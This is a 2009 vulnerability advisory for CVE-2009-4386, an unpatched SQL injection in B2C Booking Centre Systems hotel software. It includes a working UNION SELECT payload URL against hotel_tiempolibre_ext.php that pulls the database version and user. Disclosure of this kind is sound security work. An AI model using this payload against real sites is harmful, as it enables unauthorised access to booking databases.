B2C Booking Centre Systems - SQL Injection Vulnerability

2009.12.25

Credit: Salvatore Fresta

Risk: High

Local: No

Remote: Yes

CVE: CVE-2009-4386

CWE: CWE-89

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

B2C Booking Centre Systems - SQL Injection Vulnerability

Name              B2D Booking Centre Systems
 Vendor            http://www.bookingcentre.eu

Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2009-12-11

X. INDEX

I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 VI.   DISCLOSURE TIMELINE

I. ABOUT THE APPLICATION

Booking Centre Systems is a multilingual low cost and high
performance software solution for any Individual Hotel  or
Hotels Group or Portal Tourist.

II. DESCRIPTION

All  parameters  of  this  application  are  not  properly
sanitised and are affected to SQL Injection.

III. ANALYSIS

Summary:

A) SQL Injection

A) SQL Injection

All parameters are not properly sanitised and in order to
exploit they, the Magic Quotes GPG may be On.

IV. SAMPLE CODE

http://site/hotel_tiempolibre_ext.php?HotelID=4&NoticiaID=-1 UNION ALL
SELECT 1,2,3,version(),5,user(),7,8,9%23

V. FIX

No patch.

References:

http://www.vupen.com/english/advisories/2009/3538

http://www.securityfocus.com/archive/1/archive/1/508429/100/0/threaded

http://www.exploit-db.com/exploits/10393

http://secunia.com/advisories/32430

http://packetstormsecurity.org/0912-exploits/b2cbcs-sql.txt

See this note in RAW Version

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B2C Booking Centre Systems - SQL Injection Vulnerability

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